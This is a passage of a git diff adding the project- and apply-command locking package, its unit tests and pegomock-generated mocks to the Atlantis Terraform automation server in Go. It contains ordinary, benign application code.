true, + } + + if c.disableApply { + return ApplyCommandLock{ + Locked: true, + }, nil + } + + applyCmdLock, err := c.backend.CheckCommandLock(command.Apply) + if err != nil { + return response, err + } + + if applyCmdLock != nil { + response.Locked = true + response.Time = applyCmdLock.LockTime() + } + if c.disableGlobalApplyLock { + response.GlobalApplyLockEnabled = false + } + + return response, nil +} diff --git a/server/core/locking/locking.go b/server/core/locking/locking.go new file mode 100644 index 0000000000..e7c648a44b --- /dev/null +++ b/server/core/locking/locking.go @@ -0,0 +1,203 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. +// +// Package locking handles locking projects when they have in-progress runs. +package locking + +import ( + "errors" + "fmt" + "regexp" + "time" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_backend.go Backend + +// Backend is an implementation of the locking API we require. +type Backend interface { + TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) + Unlock(project models.Project, workspace string) (*models.ProjectLock, error) + List() ([]models.ProjectLock, error) + GetLock(project models.Project, workspace string) (*models.ProjectLock, error) + UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) + UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error + GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) + DeletePullStatus(pull models.PullRequest) error + UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) + + LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) + UnlockCommand(cmdName command.Name) error + CheckCommandLock(cmdName command.Name) (*command.Lock, error) +} + +// TryLockResponse results from an attempted lock. +type TryLockResponse struct { + // LockAcquired is true if the lock was acquired from this call. + LockAcquired bool + // CurrLock is what project is currently holding the lock. + CurrLock models.ProjectLock + // LockKey is an identified by which to lookup and delete this lock. + LockKey string +} + +// Client is used to perform locking actions. +type Client struct { + backend Backend +} + +//go:generate pegomock generate --package mocks -o mocks/mock_locker.go Locker + +type Locker interface { + TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) + Unlock(key string) (*models.ProjectLock, error) + List() (map[string]models.ProjectLock, error) + UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) + GetLock(key string) (*models.ProjectLock, error) +} + +// NewClient returns a new locking client. +func NewClient(backend Backend) *Client { + return &Client{ + backend: backend, + } +} + +// keyRegex matches and captures {repoFullName}/{path}/{workspace} where path can have multiple /'s in it. +var keyRegex = regexp.MustCompile(`^(.*?\/.*?)\/(.*)\/(.*)$`) + +// TryLock attempts to acquire a lock to a project and workspace. +func (c *Client) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) { + lock := models.ProjectLock{ + Workspace: workspace, + Time: time.Now().Local(), + Project: p, + User: user, + Pull: pull, + } + lockAcquired, currLock, err := c.backend.TryLock(lock) + if err != nil { + return TryLockResponse{}, err + } + return TryLockResponse{lockAcquired, currLock, c.key(p, workspace)}, nil +} + +// Unlock attempts to unlock a project and workspace. If successful, +// a pointer to the now deleted lock will be returned. Else, that +// pointer will be nil. An error will only be returned if there was +// an error deleting the lock (i.e. not if there was no lock). +func (c *Client) Unlock(key string) (*models.ProjectLock, error) { + project, workspace, err := c.lockKeyToProjectWorkspace(key) + if err != nil { + return nil, err + } + return c.backend.Unlock(project, workspace) +} + +// List returns a map of all locks with their lock key as the map key. +// The lock key can be used in GetLock() and Unlock(). +func (c *Client) List() (map[string]models.ProjectLock, error) { + m := make(map[string]models.ProjectLock) + locks, err := c.backend.List() + if err != nil { + return m, err + } + for _, lock := range locks { + m[c.key(lock.Project, lock.Workspace)] = lock + } + return m, nil +} + +// UnlockByPull deletes all locks associated with that pull request. +func (c *Client) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { + return c.backend.UnlockByPull(repoFullName, pullNum) +} + +// GetLock attempts to get the lock stored at key. If successful, +// a pointer to the lock will be returned. Else, the pointer will be nil. +// An error will only be returned if there was an error getting the lock +// (i.e. not if there was no lock). +func (c *Client) GetLock(key string) (*models.ProjectLock, error) { + project, workspace, err := c.lockKeyToProjectWorkspace(key) + if err != nil { + return nil, err + } + + projectLock, err := c.backend.GetLock(project, workspace) + if err != nil { + return nil, err + } + + return projectLock, nil +} + +func (c *Client) key(p models.Project, workspace string) string { + return fmt.Sprintf("%s/%s/%s", p.RepoFullName, p.Path, workspace) +} + +func (c *Client) lockKeyToProjectWorkspace(key string) (models.Project, string, error) { + matches := keyRegex.FindStringSubmatch(key) + if len(matches) != 4 { + return models.Project{}, "", errors.New("invalid key format") + } + + return models.Project{RepoFullName: matches[1], Path: matches[2]}, matches[3], nil +} + +type NoOpLocker struct{} + +// NewNoOpLocker returns a new lno operation lockingclient. +func NewNoOpLocker() *NoOpLocker { + return &NoOpLocker{} +} + +// TryLock attempts to acquire a lock to a project and workspace. +func (c *NoOpLocker) TryLock(p models.Project, workspace string, _ models.PullRequest, _ models.User) (TryLockResponse, error) { + return TryLockResponse{true, models.ProjectLock{}, c.key(p, workspace)}, nil +} + +// Unlock attempts to unlock a project and workspace. If successful, +// a pointer to the now deleted lock will be returned. Else, that +// pointer will be nil. An error will only be returned if there was +// an error deleting the lock (i.e. not if there was no lock). +func (c *NoOpLocker) Unlock(_ string) (*models.ProjectLock, error) { + return &models.ProjectLock{}, nil +} + +// List returns a map of all locks with their lock key as the map key. +// The lock key can be used in GetLock() and Unlock(). +func (c *NoOpLocker) List() (map[string]models.ProjectLock, error) { + m := make(map[string]models.ProjectLock) + return m, nil +} + +// UnlockByPull deletes all locks associated with that pull request. +func (c *NoOpLocker) UnlockByPull(_ string, _ int) ([]models.ProjectLock, error) { + return []models.ProjectLock{}, nil +} + +// GetLock attempts to get the lock stored at key. If successful, +// a pointer to the lock will be returned. Else, the pointer will be nil. +// An error will only be returned if there was an error getting the lock +// (i.e. not if there was no lock). +func (c *NoOpLocker) GetLock(_ string) (*models.ProjectLock, error) { + return nil, nil +} + +func (c *NoOpLocker) key(p models.Project, workspace string) string { + return fmt.Sprintf("%s/%s/%s", p.RepoFullName, p.Path, workspace) +} diff --git a/server/core/locking/locking_test.go b/server/core/locking/locking_test.go new file mode 100644 index 0000000000..68d79d8580 --- /dev/null +++ b/server/core/locking/locking_test.go @@ -0,0 +1,287 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package locking_test + +import ( + "errors" + "testing" + "time" + + "strings" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/core/locking/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + . "github.com/runatlantis/atlantis/testing" +) + +var project = models.NewProject("owner/repo", "path", "") +var workspace = "workspace" +var pull = models.PullRequest{} +var user = models.User{} +var errExpected = errors.New("err") +var timeNow = time.Now().Local() +var pl = models.ProjectLock{Project: project, Pull: pull, User: user, Workspace: workspace, Time: timeNow} + +func TestTryLock_Err(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.TryLock(Any[models.ProjectLock]())).ThenReturn(false, models.ProjectLock{}, errExpected) + t.Log("when the backend returns an error, TryLock should return that error") + l := locking.NewClient(backend) + _, err := l.TryLock(project, workspace, pull, user) + Equals(t, err, err) +} + +func TestTryLock_Success(t *testing.T) { + RegisterMockTestingT(t) + currLock := models.ProjectLock{} + backend := mocks.NewMockBackend() + When(backend.TryLock(Any[models.ProjectLock]())).ThenReturn(true, currLock, nil) + l := locking.NewClient(backend) + r, err := l.TryLock(project, workspace, pull, user) + Ok(t, err) + Equals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: "owner/repo/path/workspace"}, r) +} + +func TestUnlock_InvalidKey(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + l := locking.NewClient(backend) + + _, err := l.Unlock("invalidkey") + Assert(t, err != nil, "expected err") + Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected err") +} + +func TestUnlock_Err(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.Unlock(Any[models.Project](), Any[string]())).ThenReturn(nil, errExpected) + l := locking.NewClient(backend) + _, err := l.Unlock("owner/repo/path/workspace") + Equals(t, err, err) + backend.VerifyWasCalledOnce().Unlock(project, "workspace") +} + +func TestUnlock(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.Unlock(Any[models.Project](), Any[string]())).ThenReturn(&pl, nil) + l := locking.NewClient(backend) + lock, err := l.Unlock("owner/repo/path/workspace") + Ok(t, err) + Equals(t, &pl, lock) +} + +func TestList_Err(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.List()).ThenReturn(nil, errExpected) + l := locking.NewClient(backend) + _, err := l.List() + Equals(t, errExpected, err) +} + +func TestList(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.List()).ThenReturn([]models.ProjectLock{pl}, nil) + l := locking.NewClient(backend) + list, err := l.List() + Ok(t, err) + Equals(t, map[string]models.ProjectLock{ + "owner/repo/path/workspace": pl, + }, list) +} + +func TestUnlockByPull(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.UnlockByPull("owner/repo", 1)).ThenReturn(nil, errExpected) + l := locking.NewClient(backend) + _, err := l.UnlockByPull("owner/repo", 1) + Equals(t, errExpected, err) +} + +func TestGetLock_BadKey(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + l := locking.NewClient(backend) + _, err := l.GetLock("invalidkey") + Assert(t, err != nil, "err should not be nil") + Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected different err") +} + +func TestGetLock_Err(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.GetLock(project, workspace)).ThenReturn(nil, errExpected) + l := locking.NewClient(backend) + _, err := l.GetLock("owner/repo/path/workspace") + Equals(t, errExpected, err) +} + +func TestGetLock(t *testing.T) { + RegisterMockTestingT(t) + backend := mocks.NewMockBackend() + When(backend.GetLock(project, workspace)).ThenReturn(&pl, nil) + l := locking.NewClient(backend) + lock, err := l.GetLock("owner/repo/path/workspace") + Ok(t, err) + Equals(t, &pl, lock) +} + +func TestTryLock_NoOpLocker(t *testing.T) { + RegisterMockTestingT(t) + currLock := models.ProjectLock{} + l := locking.NewNoOpLocker() + r, err := l.TryLock(project, workspace, pull, user) + Ok(t, err) + Equals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: "owner/repo/path/workspace"}, r) +} + +func TestUnlock_NoOpLocker(t *testing.T) { + l := locking.NewNoOpLocker() + lock, err := l.Unlock("owner/repo/path/workspace") + Ok(t, err) + Equals(t, &models.ProjectLock{}, lock) +} + +func TestList_NoOpLocker(t *testing.T) { + l := locking.NewNoOpLocker() + list, err := l.List() + Ok(t, err) + Equals(t, map[string]models.ProjectLock{}, list) +} + +func TestUnlockByPull_NoOpLocker(t *testing.T) { + l := locking.NewNoOpLocker() + _, err := l.UnlockByPull("owner/repo", 1) + Ok(t, err) +} + +func TestGetLock_NoOpLocker(t *testing.T) { + l := locking.NewNoOpLocker() + lock, err := l.GetLock("owner/repo/path/workspace") + Ok(t, err) + var expected *models.ProjectLock + Equals(t, expected, lock) +} + +func TestApplyLocker(t *testing.T) { + RegisterMockTestingT(t) + applyLock := &command.Lock{ + CommandName: command.Apply, + LockMetadata: command.LockMetadata{ + UnixTime: time.Now().Unix(), + }, + } + + t.Run("LockApply", func(t *testing.T) { + t.Run("backend errors", func(t *testing.T) { + backend := mocks.NewMockBackend() + + When(backend.LockCommand(Any[command.Name](), Any[time.Time]())).ThenReturn(nil, errExpected) + l := locking.NewApplyClient(backend, false, false) + lock, err := l.LockApply() + Equals(t, errExpected, err) + Assert(t, !lock.Locked, "exp false") + }) + + t.Run("can't lock if apply is omitted from userConfig.AllowCommands", func(t *testing.T) { + backend := mocks.NewMockBackend() + + l := locking.NewApplyClient(backend, true, false) + _, err := l.LockApply() + ErrEquals(t, "apply is omitted from AllowCommands; Apply commands are locked globally until flag is updated", err) + + backend.VerifyWasCalled(Never()).LockCommand(Any[command.Name](), Any[time.Time]()) + }) + + t.Run("succeeds", func(t *testing.T) { + backend := mocks.NewMockBackend() + + When(backend.LockCommand(Any[command.Name](), Any[time.Time]())).ThenReturn(applyLock, nil) + l := locking.NewApplyClient(backend, false, false) + lock, _ := l.LockApply() + Assert(t, lock.Locked, "exp lock present") + }) + }) + + t.Run("UnlockApply", func(t *testing.T) { + t.Run("backend fails", func(t *testing.T) { + backend := mocks.NewMockBackend() + + When(backend.UnlockCommand(Any[command.Name]())).ThenReturn(errExpected) + l := locking.NewApplyClient(backend, false, false) + err := l.UnlockApply() + Equals(t, errExpected, err) + }) + + t.Run("can't lock if apply is omitted from userConfig.AllowCommands", func(t *testing.T) { + backend := mocks.NewMockBackend() + + l := locking.NewApplyClient(backend, true, false) + err := l.UnlockApply() + ErrEquals(t, "apply commands are disabled until AllowCommands flag is updated", err) + + backend.VerifyWasCalled(Never()).UnlockCommand(Any[command.Name]()) + }) + + t.Run("succeeds", func(t *testing.T) { + backend := mocks.NewMockBackend() + + When(backend.UnlockCommand(Any[command.Name]())).ThenReturn(nil) + l := locking.NewApplyClient(backend, false, false) + err := l.UnlockApply() + Equals(t, nil, err) + }) + + }) + + t.Run("CheckApplyLock", func(t *testing.T) { + t.Run("fails", func(t *testing.T) { + backend := mocks.NewMockBackend() + + When(backend.CheckCommandLock(Any[command.Name]())).ThenReturn(nil, errExpected) + l := locking.NewApplyClient(backend, false, false) + lock, err := l.CheckApplyLock() + Equals(t, errExpected, err) + Equals(t, lock.Locked, false) + }) + + t.Run("when apply is not in AllowCommands always return a lock", func(t *testing.T) { + backend := mocks.NewMockBackend() + + l := locking.NewApplyClient(backend, true, false) + lock, err := l.CheckApplyLock() + Ok(t, err) + Equals(t, lock.Locked, true) + backend.VerifyWasCalled(Never()).CheckCommandLock(Any[command.Name]()) + }) + + t.Run("UnlockCommand succeeds", func(t *testing.T) { + backend := mocks.NewMockBackend() + + When(backend.CheckCommandLock(Any[command.Name]())).ThenReturn(applyLock, nil) + l := locking.NewApplyClient(backend, false, false) + lock, err := l.CheckApplyLock() + Equals(t, nil, err) + Assert(t, lock.Locked, "exp lock present") + }) + }) +} diff --git a/server/core/locking/mocks/mock_apply_lock_checker.go b/server/core/locking/mocks/mock_apply_lock_checker.go new file mode 100644 index 0000000000..a5789e5067 --- /dev/null +++ b/server/core/locking/mocks/mock_apply_lock_checker.go @@ -0,0 +1,99 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: ApplyLockChecker) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + locking "github.com/runatlantis/atlantis/server/core/locking" + "reflect" + "time" +) + +type MockApplyLockChecker struct { + fail func(message string, callerSkip ...int) +} + +func NewMockApplyLockChecker(options ...pegomock.Option) *MockApplyLockChecker { + mock := &MockApplyLockChecker{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockApplyLockChecker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockApplyLockChecker) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockApplyLockChecker) CheckApplyLock() (locking.ApplyCommandLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockApplyLockChecker().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("CheckApplyLock", _params, []reflect.Type{reflect.TypeOf((*locking.ApplyCommandLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 locking.ApplyCommandLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(locking.ApplyCommandLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockApplyLockChecker) VerifyWasCalledOnce() *VerifierMockApplyLockChecker { + return &VerifierMockApplyLockChecker{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockApplyLockChecker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockApplyLockChecker { + return &VerifierMockApplyLockChecker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockApplyLockChecker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockApplyLockChecker { + return &VerifierMockApplyLockChecker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockApplyLockChecker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockApplyLockChecker { + return &VerifierMockApplyLockChecker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockApplyLockChecker struct { + mock *MockApplyLockChecker + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockApplyLockChecker) CheckApplyLock() *MockApplyLockChecker_CheckApplyLock_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CheckApplyLock", _params, verifier.timeout) + return &MockApplyLockChecker_CheckApplyLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockApplyLockChecker_CheckApplyLock_OngoingVerification struct { + mock *MockApplyLockChecker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockApplyLockChecker_CheckApplyLock_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockApplyLockChecker_CheckApplyLock_OngoingVerification) GetAllCapturedArguments() { +} diff --git a/server/core/locking/mocks/mock_apply_locker.go b/server/core/locking/mocks/mock_apply_locker.go new file mode 100644 index 0000000000..6cac4c91e2 --- /dev/null +++ b/server/core/locking/mocks/mock_apply_locker.go @@ -0,0 +1,167 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: ApplyLocker) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + locking "github.com/runatlantis/atlantis/server/core/locking" + "reflect" + "time" +) + +type MockApplyLocker struct { + fail func(message string, callerSkip ...int) +} + +func NewMockApplyLocker(options ...pegomock.Option) *MockApplyLocker { + mock := &MockApplyLocker{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockApplyLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockApplyLocker) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockApplyLocker) CheckApplyLock() (locking.ApplyCommandLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockApplyLocker().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("CheckApplyLock", _params, []reflect.Type{reflect.TypeOf((*locking.ApplyCommandLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 locking.ApplyCommandLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(locking.ApplyCommandLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockApplyLocker) LockApply() (locking.ApplyCommandLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockApplyLocker().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("LockApply", _params, []reflect.Type{reflect.TypeOf((*locking.ApplyCommandLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 locking.ApplyCommandLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(locking.ApplyCommandLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockApplyLocker) UnlockApply() error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockApplyLocker().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UnlockApply", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockApplyLocker) VerifyWasCalledOnce() *VerifierMockApplyLocker { + return &VerifierMockApplyLocker{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockApplyLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockApplyLocker { + return &VerifierMockApplyLocker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockApplyLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockApplyLocker { + return &VerifierMockApplyLocker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockApplyLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockApplyLocker { + return &VerifierMockApplyLocker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockApplyLocker struct { + mock *MockApplyLocker + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockApplyLocker) CheckApplyLock() *MockApplyLocker_CheckApplyLock_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CheckApplyLock", _params, verifier.timeout) + return &MockApplyLocker_CheckApplyLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockApplyLocker_CheckApplyLock_OngoingVerification struct { + mock *MockApplyLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockApplyLocker_CheckApplyLock_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockApplyLocker_CheckApplyLock_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockApplyLocker) LockApply() *MockApplyLocker_LockApply_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "LockApply", _params, verifier.timeout) + return &MockApplyLocker_LockApply_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockApplyLocker_LockApply_OngoingVerification struct { + mock *MockApplyLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockApplyLocker_LockApply_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockApplyLocker_LockApply_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockApplyLocker) UnlockApply() *MockApplyLocker_UnlockApply_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockApply", _params, verifier.timeout) + return &MockApplyLocker_UnlockApply_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockApplyLocker_UnlockApply_OngoingVerification struct { + mock *MockApplyLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockApplyLocker_UnlockApply_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockApplyLocker_UnlockApply_OngoingVerification) GetAllCapturedArguments() { +} diff --git a/server/core/locking/mocks/mock_backend.go b/server/core/locking/mocks/mock_backend.go new file mode 100644 index 0000000000..9d552bfe38 --- /dev/null +++ b/server/core/locking/mocks/mock_backend.go @@ -0,0 +1,668 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: Backend) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockBackend struct { + fail func(message string, callerSkip ...int) +} + +func NewMockBackend(options ...pegomock.Option) *MockBackend { + mock := &MockBackend{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockBackend) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockBackend) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockBackend) CheckCommandLock(cmdName command.Name) (*command.Lock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{cmdName} + _result := pegomock.GetGenericMockFrom(mock).Invoke("CheckCommandLock", _params, []reflect.Type{reflect.TypeOf((**command.Lock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *command.Lock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*command.Lock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) DeletePullStatus(pull models.PullRequest) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("DeletePullStatus", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockBackend) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{project, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetLock", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullStatus", _params, []reflect.Type{reflect.TypeOf((**models.PullStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *models.PullStatus + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*models.PullStatus) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) List() ([]models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("List", _params, []reflect.Type{reflect.TypeOf((*[]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{cmdName, lockTime} + _result := pegomock.GetGenericMockFrom(mock).Invoke("LockCommand", _params, []reflect.Type{reflect.TypeOf((**command.Lock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *command.Lock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*command.Lock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{lock} + _result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 bool + var _ret1 models.ProjectLock + var _ret2 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) + } + if _result[1] != nil { + _ret1 = _result[1].(models.ProjectLock) + } + if _result[2] != nil { + _ret2 = _result[2].(error) + 